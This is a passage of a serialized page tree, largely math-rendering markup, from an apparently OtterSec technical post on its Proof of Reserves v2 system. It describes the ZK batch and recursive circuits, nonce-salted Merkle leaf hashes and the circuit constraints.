itself.",{"type":24,"tag":151,"props":95834,"children":95836},{"id":95835},"what-are-the-ottersec-porv2-key-points",[95837],{"type":30,"value":95838},"What are the OtterSec PoRv2 key points?",{"type":24,"tag":478,"props":95840,"children":95841},{},[95842,95852,95870,95880,95911],{"type":24,"tag":100,"props":95843,"children":95844},{},[95845,95850],{"type":24,"tag":275,"props":95846,"children":95847},{},[95848],{"type":30,"value":95849},"Transparency",{"type":30,"value":95851},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":100,"props":95853,"children":95854},{},[95855,95860,95862,95869],{"type":24,"tag":275,"props":95856,"children":95857},{},[95858],{"type":30,"value":95859},"Time-efficiency",{"type":30,"value":95861},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":37,"props":95863,"children":95866},{"href":95864,"rel":95865},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[41],[95867],{"type":30,"value":95868},"Check our benchmark",{"type":30,"value":436},{"type":24,"tag":100,"props":95871,"children":95872},{},[95873,95878],{"type":24,"tag":275,"props":95874,"children":95875},{},[95876],{"type":30,"value":95877},"Memory-efficiency",{"type":30,"value":95879},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":100,"props":95881,"children":95882},{},[95883,95888,95890,95895,95897,95902,95904,95909],{"type":24,"tag":275,"props":95884,"children":95885},{},[95886],{"type":30,"value":95887},"Small-proofs",{"type":30,"value":95889},": We were able to reduce the final proof to less than ",{"type":24,"tag":275,"props":95891,"children":95892},{},[95893],{"type":30,"value":95894},"500KB",{"type":30,"value":95896}," and each inclusion proof to ",{"type":24,"tag":275,"props":95898,"children":95899},{},[95900],{"type":30,"value":95901},"~52KB",{"type":30,"value":95903},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":275,"props":95905,"children":95906},{},[95907],{"type":30,"value":95908},"200MB",{"type":30,"value":95910}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":100,"props":95912,"children":95913},{},[95914,95919],{"type":24,"tag":275,"props":95915,"children":95916},{},[95917],{"type":30,"value":95918},"Privacy",{"type":30,"value":95920},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":68,"props":95922,"children":95924},{"id":95923},"zk-circuits",[95925],{"type":30,"value":95926},"ZK Circuits",{"type":24,"tag":33,"props":95928,"children":95929},{},[95930],{"type":30,"value":95931},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":478,"props":95933,"children":95934},{},[95935,95940],{"type":24,"tag":100,"props":95936,"children":95937},{},[95938],{"type":30,"value":95939},"Batch circuit",{"type":24,"tag":100,"props":95941,"children":95942},{},[95943],{"type":30,"value":95944},"Recursive circuit",{"type":24,"tag":33,"props":95946,"children":95947},{},[95948],{"type":30,"value":95949},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":33,"props":95951,"children":95952},{},[95953],{"type":24,"tag":140,"props":95954,"children":95956},{"alt":142,"src":95955},"/posts/por/batch-circuit.png",[],{"type":24,"tag":6054,"props":95958,"children":95959},{},[95960],{"type":24,"tag":33,"props":95961,"children":95962},{},[95963,95965,95971,95973,95979],{"type":30,"value":95964},"Note: We are using 512 as ",{"type":24,"tag":156,"props":95966,"children":95968},{"className":95967},[],[95969],{"type":30,"value":95970},"BATCH_SIZE",{"type":30,"value":95972}," and 8 as ",{"type":24,"tag":156,"props":95974,"children":95976},{"className":95975},[],[95977],{"type":30,"value":95978},"RECURSIVE_SIZE",{"type":30,"value":95980}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":6054,"props":95982,"children":95983},{},[95984],{"type":24,"tag":33,"props":95985,"children":95986},{},[95987],{"type":30,"value":95988},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":33,"props":95990,"children":95991},{},[95992],{"type":30,"value":95993},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":151,"props":95995,"children":95997},{"id":95996},"leaf-nodes",[95998],{"type":30,"value":95999},"Leaf Nodes",{"type":24,"tag":33,"props":96001,"children":96002},{},[96003],{"type":30,"value":96004},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":33,"props":96006,"children":96007},{},[96008],{"type":24,"tag":156,"props":96009,"children":96011},{"className":96010},[7098,7099],[96012],{"type":24,"tag":930,"props":96013,"children":96015},{"className":96014},[7104],[96016],{"type":24,"tag":930,"props":96017,"children":96019},{"className":96018,"ariaHidden":7110},[7109],[96020,96047],{"type":24,"tag":930,"props":96021,"children":96023},{"className":96022},[7115],[96024,96029,96034,96038,96043],{"type":24,"tag":930,"props":96025,"children":96028},{"className":96026,"style":96027},[7120],"height:0.6944em;",[],{"type":24,"tag":930,"props":96030,"children":96032},{"className":96031},[7126,24690],[96033],{"type":30,"value":87415},{"type":24,"tag":930,"props":96035,"children":96037},{"className":96036,"style":7304},[7206],[],{"type":24,"tag":930,"props":96039,"children":96041},{"className":96040},[7309],[96042],{"type":30,"value":1161},{"type":24,"tag":930,"props":96044,"children":96046},{"className":96045,"style":7304},[7206],[],{"type":24,"tag":930,"props":96048,"children":96050},{"className":96049},[7115],[96051,96056,96061,96067,96072,96077,96083,96088,96093,96098,96104,96109,96115,96121,96128,96134,96140,96200,96205,96211,96216,96221,96226,96231,96236,96241,96246,96251,96256,96313,96318,96323,96328,96333,96338,96343,96350,96355,96361,96366,96372,96378,96383,96388,96393,96398,96403,96408,96413,96418,96423,96428,96433,96438,96443,96448],{"type":24,"tag":930,"props":96052,"children":96055},{"className":96053,"style":96054},[7120],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":930,"props":96057,"children":96059},{"className":96058,"style":24691},[7126,24690],[96060],{"type":30,"value":24694},{"type":24,"tag":930,"props":96062,"children":96064},{"className":96063},[7126,24690],[96065],{"type":30,"value":96066},"ose",{"type":24,"tag":930,"props":96068,"children":96070},{"className":96069},[7126,24690],[96071],{"type":30,"value":6854},{"type":24,"tag":930,"props":96073,"children":96075},{"className":96074},[7126,24690],[96076],{"type":30,"value":73649},{"type":24,"tag":930,"props":96078,"children":96080},{"className":96079},[7126,24690],[96081],{"type":30,"value":96082},"o",{"type":24,"tag":930,"props":96084,"children":96086},{"className":96085},[7126,24690],[96087],{"type":30,"value":59493},{"type":24,"tag":930,"props":96089,"children":96091},{"className":96090},[24818],[96092],{"type":30,"value":1010},{"type":24,"tag":930,"props":96094,"children":96096},{"className":96095},[7126,24690],[96097],{"type":30,"value":37},{"type":24,"tag":930,"props":96099,"children":96101},{"className":96100},[7126,24690],[96102],{"type":30,"value":96103},"sse",{"type":24,"tag":930,"props":96105,"children":96107},{"className":96106},[7126,24690],[96108],{"type":30,"value":24831},{"type":24,"tag":930,"props":96110,"children":96113},{"className":96111,"style":96112},[7126],"margin-right:0.02778em;",[96114],{"type":30,"value":6204},{"type":24,"tag":930,"props":96116,"children":96118},{"className":96117},[7126,24690],[96119],{"type":30,"value":96120},"ba",{"type":24,"tag":930,"props":96122,"children":96125},{"className":96123,"style":96124},[7126,24690],"margin-right:0.01968em;",[96126],{"type":30,"value":96127},"l",{"type":24,"tag":930,"props":96129,"children":96131},{"className":96130},[7126,24690],[96132],{"type":30,"value":96133},"an",{"type":24,"tag":930,"props":96135,"children":96137},{"className":96136},[7126,24690],[96138],{"type":30,"value":96139},"ce",{"type":24,"tag":930,"props":96141,"children":96143},{"className":96142},[7126],[96144,96149],{"type":24,"tag":930,"props":96145,"children":96147},{"className":96146},[7126,24690],[96148],{"type":30,"value":13758},{"type":24,"tag":930,"props":96150,"children":96152},{"className":96151},[7142],[96153],{"type":24,"tag":930,"props":96154,"children":96156},{"className":96155},[7147,24743],[96157,96188],{"type":24,"tag":930,"props":96158,"children":96160},{"className":96159},[7152],[96161,96183],{"type":24,"tag":930,"props":96162,"children":96165},{"className":96163,"style":96164},[7157],"height:0.3011em;",[96166],{"type":24,"tag":930,"props":96167,"children":96169},{"style":96168},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[96170,96174],{"type":24,"tag":930,"props":96171,"children":96173},{"className":96172,"style":7167},[7166],[],{"type":24,"tag":930,"props":96175,"children":96177},{"className":96176},[7172,7173,7174,7175],[96178],{"type":24,"tag":930,"props":96179,"children":96181},{"className":96180},[7126,7175],[96182],{"type":30,"value":1818},{"type":24,"tag":930,"props":96184,"children":96186},{"className":96185},[24846],[96187],{"type":30,"value":24849},{"type":24,"tag":930,"props":96189,"children":96191},{"className":96190},[7152],[96192],{"type":24,"tag":930,"props":96193,"children":96196},{"className":96194,"style":96195},[7157],"height:0.15em;",[96197],{"type":24,"tag":930,"props":96198,"children":96199},{},[],{"type":24,"tag":930,"props":96201,"children":96203},{"className":96202},[7206],[96204],{"type":30,"value":24790},{"type":24,"tag":930,"props":96206,"children":96208},{"className":96207},[7126],[96209],{"type":30,"value":96210},"∣∣",{"type":24,"tag":930,"props":96212,"children":96214},{"className":96213},[7206],[96215],{"type":30,"value":24790},{"type":24,"tag":930,"props":96217,"children":96219},{"className":96218},[7126,24690],[96220],{"type":30,"value":37},{"type":24,"tag":930,"props":96222,"children":96224},{"className":96223},[7126,24690],[96225],{"type":30,"value":96103},{"type":24,"tag":930,"props":96227,"children":96229},{"className":96228},[7126,24690],[96230],{"type":30,"value":24831},{"type":24,"tag":930,"props":96232,"children":96234},{"className":96233,"style":96112},[7126],[96235],{"type":30,"value":6204},{"type":24,"tag":930,"props":96237,"children":96239},{"className":96238},[7126,24690],[96240],{"type":30,"value":96120},{"type":24,"tag":930,"props":96242,"children":96244},{"className":96243,"style":96124},[7126,24690],[96245],{"type":30,"value":96127},{"type":24,"tag":930,"props":96247,"children":96249},{"className":96248},[7126,24690],[96250],{"type":30,"value":96133},{"type":24,"tag":930,"props":96252,"children":96254},{"className":96253},[7126,24690],[96255],{"type":30,"value":96139},{"type":24,"tag":930,"props":96257,"children":96259},{"className":96258},[7126],[96260,96265],{"type":24,"tag":930,"props":96261,"children":96263},{"className":96262},[7126,24690],[96264],{"type":30,"value":13758},{"type":24,"tag":930,"props":96266,"children":96268},{"className":96267},[7142],[96269],{"type":24,"tag":930,"props":96270,"children":96272},{"className":96271},[7147,24743],[96273,96302],{"type":24,"tag":930,"props":96274,"children":96276},{"className":96275},[7152],[96277,96297],{"type":24,"tag":930,"props":96278,"children":96280},{"className":96279,"style":96164},[7157],[96281],{"type":24,"tag":930,"props":96282,"children":96283},{"style":96168},[96284,96288],{"type":24,"tag":930,"props":96285,"children":96287},{"className":96286,"style":7167},[7166],[],{"type":24,"tag":930,"props":96289,"children":96291},{"className":96290},[7172,7173,7174,7175],[96292],{"type":24,"tag":930,"props":96293,"children":96295},{"className":96294},[7126,7175],[96296],{"type":30,"value":7129},{"type":24,"tag":930,"props":96298,"children":96300},{"className":96299},[24846],[96301],{"type":30,"value":24849},{"type":24,"tag":930,"props":96303,"children":96305},{"className":96304},[7152],[96306],{"type":24,"tag":930,"props":96307,"children":96309},{"className":96308,"style":96195},[7157],[96310],{"type":24,"tag":930,"props":96311,"children":96312},{},[],{"type":24,"tag":930,"props":96314,"children":96316},{"className":96315},[7206],[96317],{"type":30,"value":24790},{"type":24,"tag":930,"props":96319,"children":96321},{"className":96320},[7126],[96322],{"type":30,"value":12699},{"type":24,"tag":930,"props":96324,"children":96326},{"className":96325},[7206],[96327],{"type":30,"value":24790},{"type":24,"tag":930,"props":96329,"children":96331},{"className":96330},[7126],[96332],{"type":30,"value":96210},{"type":24,"tag":930,"props":96334,"children":96336},{"className":96335},[7206],[96337],{"type":30,"value":24790},{"type":24,"tag":930,"props":96339,"children":96341},{"className":96340,"style":25148},[7126,24690],[96342],{"type":30,"value":25151},{"type":24,"tag":930,"props":96344,"children":96347},{"className":96345,"style":96346},[7126,24690],"margin-right:0.08125em;",[96348],{"type":30,"value":96349},"H",{"type":24,"tag":930,"props":96351,"children":96353},{"className":96352},[7126,24690],[96354],{"type":30,"value":79846},{"type":24,"tag":930,"props":96356,"children":96358},{"className":96357},[7126],[96359],{"type":30,"value":96360},"256",{"type":24,"tag":930,"props":96362,"children":96364},{"className":96363},[24818],[96365],{"type":30,"value":1010},{"type":24,"tag":930,"props":96367,"children":96369},{"className":96368},[7126,24690],[96370],{"type":30,"value":96371},"u",{"type":24,"tag":930,"props":96373,"children":96375},{"className":96374,"style":96112},[7126,24690],[96376],{"type":30,"value":96377},"ser",{"type":24,"tag":930,"props":96379,"children":96381},{"className":96380,"style":96112},[7126],[96382],{"type":30,"value":6204},{"type":24,"tag":930,"props":96384,"children":96386},{"className":96385},[7126,24690],[96387],{"type":30,"value":6854},{"type":24,"tag":930,"props":96389,"children":96391},{"className":96390},[7126,24690],[96392],{"type":30,"value":73649},{"type":24,"tag":930,"props":96394,"children":96396},{"className":96395},[24840],[96397],{"type":30,"value":6249},{"type":24,"tag":930,"props":96399,"children":96401},{"className":96400},[7206],[96402],{"type":30,"value":24790},{"type":24,"tag":930,"props":96404,"children":96406},{"className":96405},[7126],[96407],{"type":30,"value":96210},{"type":24,"tag":930,"props":96409,"children":96411},{"className":96410},[7206],[96412],{"type":30,"value":24790},{"type":24,"tag":930,"props":96414,"children":96416},{"className":96415},[7126,24690],[96417],{"type":30,"value":96371},{"type":24,"tag":930,"props":96419,"children":96421},{"className":96420,"style":96112},[7126,24690],[96422],{"type":30,"value":96377},{"type":24,"tag":930,"props":96424,"children":96426},{"className":96425,"style":96112},[7126],[96427],{"type":30,"value":6204},{"type":24,"tag":930,"props":96429,"children":96431},{"className":96430},[7126,24690],[96432],{"type":30,"value":59493},{"type":24,"tag":930,"props":96434,"children":96436},{"className":96435},[7126,24690],[96437],{"type":30,"value":96082},{"type":24,"tag":930,"props":96439,"children":96441},{"className":96440},[7126,24690],[96442],{"type":30,"value":59493},{"type":24,"tag":930,"props":96444,"children":96446},{"className":96445},[7126,24690],[96447],{"type":30,"value":96139},{"type":24,"tag":930,"props":96449,"children":96451},{"className":96450},[24840],[96452],{"type":30,"value":6249},{"type":24,"tag":33,"props":96454,"children":96455},{},[96456,96458,96464],{"type":30,"value":96457},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":156,"props":96459,"children":96461},{"className":96460},[],[96462],{"type":30,"value":96463},"uuid",{"type":30,"value":96465},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":151,"props":96467,"children":96469},{"id":96468},"batch-circuit",[96470],{"type":30,"value":96471},"Batch Circuit",{"type":24,"tag":33,"props":96473,"children":96474},{},[96475],{"type":30,"value":96476},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":33,"props":96478,"children":96479},{},[96480],{"type":24,"tag":275,"props":96481,"children":96482},{},[96483],{"type":30,"value":96484},"Public Inputs",{"type":24,"tag":96,"props":96486,"children":96487},{},[96488,96493,96498],{"type":24,"tag":100,"props":96489,"children":96490},{},[96491],{"type":30,"value":96492},"Asset prices in USD",{"type":24,"tag":100,"props":96494,"children":96495},{},[96496],{"type":30,"value":96497},"Merkle tree hash",{"type":24,"tag":100,"props":96499,"children":96500},{},[96501],{"type":30,"value":96502},"Summed asset balances",{"type":24,"tag":33,"props":96504,"children":96505},{},[96506],{"type":24,"tag":275,"props":96507,"children":96508},{},[96509],{"type":30,"value":96510},"Private Inputs",{"type":24,"tag":96,"props":96512,"children":96513},{},[96514,96519],{"type":24,"tag":100,"props":96515,"children":96516},{},[96517],{"type":30,"value":96518},"Users balances",{"type":24,"tag":100,"props":96520,"children":96521},{},[96522],{"type":30,"value":96523},"Merkle tree leaves hashes",{"type":24,"tag":33,"props":96525,"children":96526},{},[96527],{"type":24,"tag":275,"props":96528,"children":96529},{},[96530],{"type":30,"value":96531},"Constraints",{"type":24,"tag":96,"props":96533,"children":96534},{},[96535,96988,97156,97503,97901],{"type":24,"tag":100,"props":96536,"children":96537},{},[96538],{"type":24,"tag":156,"props":96539,"children":96541},{"className":96540},[7098,7099],[96542],{"type":24,"tag":930,"props":96543,"children":96545},{"className":96544},[7104],[96546],{"type":24,"tag":930,"props":96547,"children":96549},{"className":96548,"ariaHidden":7110},[7109],[96550,96689,96893],{"type":24,"tag":930,"props":96551,"children":96553},{"className":96552},[7115],[96554,96559,96564,96570,96575,96580,96585,96590,96595,96602,96607,96612,96617,96676,96680,96685],{"type":24,"tag":930,"props":96555,"children":96558},{"className":96556,"style":96557},[7120],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":930,"props":96560,"children":96562},{"className":96561},[7126,24690],[96563],{"type":30,"value":37},{"type":24,"tag":930,"props":96565,"children":96567},{"className":96566},[7126,24690],[96568],{"type":30,"value":96569},"cco",{"type":24,"tag":930,"props":96571,"children":96573},{"className":96572},[7126,24690],[96574],{"type":30,"value":96371},{"type":24,"tag":930,"props":96576,"children":96578},{"className":96577},[7126,24690],[96579],{"type":30,"value":59493},{"type":24,"tag":930,"props":96581,"children":96583},{"className":96582},[7126,24690],[96584],{"type":30,"value":24831},{"type":24,"tag":930,"props":96586,"children":96588},{"className":96587,"style":96112},[7126],[96589],{"type":30,"value":6204},{"type":24,"tag":930,"props":96591,"children":96593},{"className":96592},[7126,24690],[96594],{"type":30,"value":54543},{"type":24,"tag":930,"props":96596,"children":96599},{"className":96597,"style":96598},[7126,24690],"margin-right:0.03588em;",[96600],{"type":30,"value":96601},"q",{"type":24,"tag":930,"props":96603,"children":96605},{"className":96604},[7126,24690],[96606],{"type":30,"value":96371},{"type":24,"tag":930,"props":96608,"children":96610},{"className":96609},[7126,24690],[96611],{"type":30,"value":6854},{"type":24,"tag":930,"props":96613,"children":96615},{"className":96614},[7126,24690],[96616],{"type":30,"value":24831},{"type":24,"tag":930,"props":96618,"children":96620},{"className":96619},[7126],[96621,96626],{"type":24,"tag":930,"props":96622,"children":96624},{"className":96623,"style":96598},[7126,24690],[96625],{"type":30,"value":6235},{"type":24,"tag":930,"props":96627,"children":96629},{"className":96628},[7142],[96630],{"type":24,"tag":930,"props":96631,"children":96633},{"className":96632},[7147,24743],[96634,96665],{"type":24,"tag":930,"props":96635,"children":96637},{"className":96636},[7152],[96638,96660],{"type":24,"tag":930,"props":96639,"children":96642},{"className":96640,"style":96641},[7157],"height:0.3117em;",[96643],{"type":24,"tag":930,"props":96644,"children":96646},{"style":96645},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[96647,96651],{"type":24,"tag":930,"props":96648,"children":96650},{"className":96649,"style":7167},[7166],[],{"type":24,"tag":930,"props":96652,"children":96654},{"className":96653},[7172,7173,7174,7175],[96655],{"type":24,"tag":930,"props":96656,"children":96658},{"className":96657},[7126,24690,7175],[96659],{"type":30,"value":6854},{"type":24,"tag":930,"props":96661,"children":96663},{"className":96662},[24846],[96664],{"type":30,"value":24849},{"type":24,"tag":930,"props":96666,"children":96668},{"className":96667},[7152],[96669],{"type":24,"tag":930,"props":96670,"children":96672},{"className":96671,"style":96195},[7157],[96673],{"type":24,"tag":930,"props":96674,"children":96675},{},[],{"type":24,"tag":930,"props":96677,"children":96679},{"className":96678,"style":7304},[7206],[],{"type":24,"tag":930,"props":96681,"children":96683},{"className":96682},[7309],[96684],{"type":30,"value":1239},{"type":24,"tag":930,"props":96686,"children":96688},{"className":96687,"style":7304},[7206],[],{"type":24,"tag":930,"props":96690,"children":96692},{"className":96691},[7115],[96693,96697,96703,96708,96713,96718,96723,96728,96733,96738,96743,96748,96753,96758,96763,96768,96773,96778,96835,96840,96845,96850,96855,96860,96865,96870,96875,96880,96884,96889],{"type":24,"tag":930,"props":96694,"children":96696},{"className":96695,"style":96054},[7120],[],{"type":24,"tag":930,"props":96698,"children":96700},{"className":96699},[7126],[96701],{"type":30,"value":96702},"Σ",{"type":24,"tag":930,"props":96704,"children":96706},{"className":96705},[7206],[96707],{"type":30,"value":24790},{"type":24,"tag":930,"props":96709,"children":96711},{"className":96710},[7126,24690],[96712],{"type":30,"value":37},{"type":24,"tag":930,"props":96714,"children":96716},{"className":96715},[7126,24690],[96717],{"type":30,"value":96569},{"type":24,"tag":930,"props":96719,"children":96721},{"className":96720},[7126,24690],[96722],{"type":30,"value":96371},{"type":24,"tag":930,"props":96724,"children":96726},{"className":96725},[7126,24690],[96727],{"type":30,"value":59493},{"type":24,"tag":930,"props":96729,"children":96731},{"className":96730},[7126,24690],[96732],{"type":30,"value":24831},{"type":24,"tag":930,"props":96734,"children":96736},{"className":96735,"style":96112},[7126],[96737],{"type":30,"value":6204},{"type":24,"tag":930,"props":96739,"children":96741},{"className":96740},[7126,24690],[96742],{"type":30,"value":37},{"type":24,"tag":930,"props":96744,"children":96746},{"className":96745},[7126,24690],[96747],{"type":30,"value":96103},{"type":24,"tag":930,"props":96749,"children":96751},{"className":96750},[7126,24690],[96752],{"type":30,"value":24831},{"type":24,"tag":930,"props":96754,"children":96756},{"className":96755,"style":96112},[7126],[96757],{"type":30,"value":6204},{"type":24,"tag":930,"props":96759,"children":96761},{"className":96760},[7126,24690],[96762],{"type":30,"value":96120},{"type":24,"tag":930,"props":96764,"children":96766},{"className":96765,"style":96124},[7126,24690],[96767],{"type":30,"value":96127},{"type":24,"tag":930,"props":96769,"children":96771},{"className":96770},[7126,24690],[96772],{"type":30,"value":96133},{"type":24,"tag":930,"props":96774,"children":96776},{"className":96775},[7126,24690],[96777],{"type":30,"value":96139},{"type":24,"tag":930,"props":96779,"children":96781},{"className":96780},[7126],[96782,96787],{"type":24,"tag":930,"props":96783,"children":96785},{"className":96784},[7126,24690],[96786],{"type":30,"value":13758},{"type":24,"tag":930,"props":96788,"children":96790},{"className":96789},[7142],[96791],{"type":24,"tag":930,"props":96792,"children":96794},{"className":96793},[7147,24743],[96795,96824],{"type":24,"tag":930,"props":96796,"children":96798},{"className":96797},[7152],[96799,96819],{"type":24,"tag":930,"props":96800,"children":96802},{"className":96801,"style":96641},[7157],[96803],{"type":24,"tag":930,"props":96804,"children":96805},{"style":96168},[96806,96810],{"type":24,"tag":930,"props":96807,"children":96809},{"className":96808,"style":7167},[7166],[],{"type":24,"tag":930,"props":96811,"children":96813},{"className":96812},[7172,7173,7174,7175],[96814],{"type":24,"tag":930,"props":96815,"children":96817},{"className":96816},[7126,24690,7175],[96818],{"type":30,"value":6854},{"type":24,"tag":930,"props":96820,"children":96822},{"className":96821},[24846],[96823],{"type":30,"value":24849},{"type":24,"tag":930,"props":96825,"children":96827},{"className":96826},[7152],[96828],{"type":24,"tag":930,"props":96829,"children":96831},{"className":96830,"style":96195},[7157],[96832],{"type":24,"tag":930,"props":96833,"children":96834},{},[],{"type":24,"tag":930,"props":96836,"children":96838},{"className":96837},[24818],[96839],{"type":30,"value":6849},{"type":24,"tag":930,"props":96841,"children":96843},{"className":96842},[7126,24690],[96844],{"type":30,"value":37},{"type":24,"tag":930,"props":96846,"children":96848},{"className":96847},[7126,24690],[96849],{"type":30,"value":96103},{"type":24,"tag":930,"props":96851,"children":96853},{"className":96852},[7126,24690],[96854],{"type":30,"value":24831},{"type":24,"tag":930,"props":96856,"children":96858},{"className":96857,"style":96112},[7126],[96859],{"type":30,"value":6204},{"type":24,"tag":930,"props":96861,"children":96863},{"className":96862},[7126,24690],[96864],{"type":30,"value":59493},{"type":24,"tag":930,"props":96866,"children":96868},{"className":96867},[7126,24690],[96869],{"type":30,"value":96371},{"type":24,"tag":930,"props":96871,"children":96873},{"className":96872},[7126,24690],[96874],{"type":30,"value":54222},{"type":24,"tag":930,"props":96876,"children":96878},{"className":96877},[24840],[96879],{"type":30,"value":18514},{"type":24,"tag":930,"props":96881,"children":96883},{"className":96882,"style":7207},[7206],[],{"type":24,"tag":930,"props":96885,"children":96887},{"className":96886},[7212],[96888],{"type":30,"value":7215},{"type":24,"tag":930,"props":96890,"children":96892},{"className":96891,"style":7207},[7206],[],{"type":24,"tag":930,"props":96894,"children":96896},{"className":96895},[7115],[96897,96901,96906,96911,96916,96921,96926,96932,96937,96943,96948,96953,96958,96963,96968,96973,96978,96983],{"type":24,"tag":930,"props":96898,"children":96900},{"className":96899,"style":96054},[7120],[],{"type":24,"tag":930,"props":96902,"children":96904},{"className":96903},[7126,24690],[96905],{"type":30,"value":37},{"type":24,"tag":930,"props":96907,"children":96909},{"className":96908},[7126,24690],[96910],{"type":30,"value":96103},{"type":24,"tag":930,"props":96912,"children":96914},{"className":96913},[7126,24690],[96915],{"type":30,"value":24831},{"type":24,"tag":930,"props":96917,"children":96919},{"className":96918,"style":96112},[7126],[96920],{"type":30,"value":6204},{"type":24,"tag":930,"props":96922,"children":96924},{"className":96923},[7126,24690],[96925],{"type":30,"value":33},{"type":24,"tag":930,"props":96927,"children":96929},{"className":96928,"style":96112},[7126,24690],[96930],{"type":30,"value":96931},"r",{"type":24,"tag":930,"props":96933,"children":96935},{"className":96934},[7126,24690],[96936],{"type":30,"value":6854},{"type":24,"tag":930,"props":96938,"children":96940},{"className":96939},[7126,24690],[96941],{"type":30,"value":96942},"ces",{"type":24,"tag":930,"props":96944,"children":96946},{"className":96945},[24818],[96947],{"type":30,"value":6849},{"type":24,"tag":930,"props":96949,"children":96951},{"className":96950},[7126,24690],[96952],{"type":30,"value":37},{"type":24,"tag":930,"props":96954,"children":96956},{"className":96955},[7126,24690],[96957],{"type":30,"value":96103},{"type":24,"tag":930,"props":96959,"children":96961},{"className":96960},[7126,24690],[96962],{"type":30,"value":24831},{"type":24,"tag":930,"props":96964,"children":96966},{"className":96965,"style":96112},[7126],[96967],{"type":30,"value":6204},{"type":24,"tag":930,"props":96969,"children":96971},{"className":96970},[7126,24690],[96972],{"type":30,"value":59493},{"type":24,"tag":930,"props":96974,"children":96976},{"className":96975},[7126,24690],[96977],{"type":30,"value":96371},{"type":24,"tag":930,"props":96979,"children":96981},{"className":96980},[7126,24690],[96982],{"type":30,"value":54222},{"type":24,"tag":930,"props":96984,"children":96986},{"className":96985},[24840],[96987],{"type":30,"value":18514},{"type":24,"tag":100,"props":96989,"children":96990},{},[96991,97150,97151],{"type":24,"tag":156,"props":96992,"children":96994},{"className":96993},[7098,7099],[96995],{"type":24,"tag":930,"props":96996,"children":96998},{"className":96997},[7104],[96999],{"type":24,"tag":930,"props":97000,"children":97002},{"className":97001,"ariaHidden":7110},[7109],[97003,97136],{"type":24,"tag":930,"props":97004,"children":97006},{"className":97005},[7115],[97007,97011,97016,97021,97026,97031,97036,97041,97046,97051,97056,97061,97066,97123,97127,97132],{"type":24,"tag":930,"props":97008,"children":97010},{"className":97009,"style":96557},[7120],[],{"type":24,"tag":930,"props":97012,"children":97014},{"className":97013},[7126,24690],[97015],{"type":30,"value":37},{"type":24,"tag":930,"props":97017,"children":97019},{"className":97018},[7126,24690],[97020],{"type":30,"value":96569},{"type":24,"tag":930,"props":97022,"children":97024},{"className":97023},[7126,24690],[97025],{"type":30,"value":96371},{"type":24,"tag":930,"props":97027,"children":97029},{"className":97028},[7126,24690],[97030],{"type":30,"value":59493},{"type":24,"tag":930,"props":97032,"children":97034},{"className":97033},[7126,24690],[97035],{"type":30,"value":24831},{"type":24,"tag":930,"props":97037,"children":97039},{"className":97038,"style":96112},[7126],[97040],{"type":30,"value":6204},{"type":24,"tag":930,"props":97042,"children":97044},{"className":97043},[7126,24690],[97045],{"type":30,"value":54543},{"type":24,"tag":930,"props":97047,"children":97049},{"className":97048,"style":96598},[7126,24690],[97050],{"type":30,"value":96601},{"type":24,"tag":930,"props":97052,"children":97054},{"className":97053},[7126,24690],[97055],{"type":30,"value":96371},{"type":24,"tag":930,"props":97057,"children":97059},{"className":97058},[7126,24690],[97060],{"type":30,"value":6854},{"type":24,"tag":930,"props":97062,"children":97064},{"className":97063},[7126,24690],[97065],{"type":30,"value":24831},{"type":24,"tag":930,"props":97067,"children":97069},{"className":97068},[7126],[97070,97075],{"type":24,"tag":930,"props":97071,"children":97073},{"className":97072,"style":96598},[7126,24690],[97074],{"type":30,"value":6235},{"type":24,"tag":930,"props":97076,"children":97078},{"className":97077},[7142],[97079],{"type":24,"tag":930,"props":97080,"children":97082},{"className":97081},[7147,24743],[97083,97112],{"type":24,"tag":930,"props":97084,"children":97086},{"className":97085},[7152],[97087,97107],{"type":24,"tag":930,"props":97088,"children":97090},{"className":97089,"style":96641},[7157],[97091],{"type":24,"tag":930,"props":97092,"children":97093},{"style":96645},[97094,97098],{"type":24,"tag":930,"props":97095,"children":97097},{"className":97096,"style":7167},[7166],[],{"type":24,"tag":930,"props":97099,"children":97101},{"className":97100},[7172,7173,7174,7175],[97102],{"type":24,"tag":930,"props":97103,"children":97105},{"className":97104},[7126,24690,7175],[97106],{"type":30,"value":6854},{"type":24,"tag":930,"props":97108,"children":97110},{"className":97109},[24846],[97111],{"type":30,"value":24849},{"type":24,"tag":930,"props":97113,"children":97115},{"className":97114},[7152],[97116],{"type":24,"tag":930,"props":97117,"children":97119},{"className":97118,"style":96195},[7157],[97120],{"type":24,"tag":930,"props":97121,"children":97122},{},[],{"type":24,"tag":930,"props":97124,"children":97126},{"className":97125,"style":7304},[7206],[],{"type":24,"tag":930,"props":97128,"children":97130},{"className":97129},[7309],[97131],{"type":30,"value":13051},{"type":24,"tag":930,"props":97133,"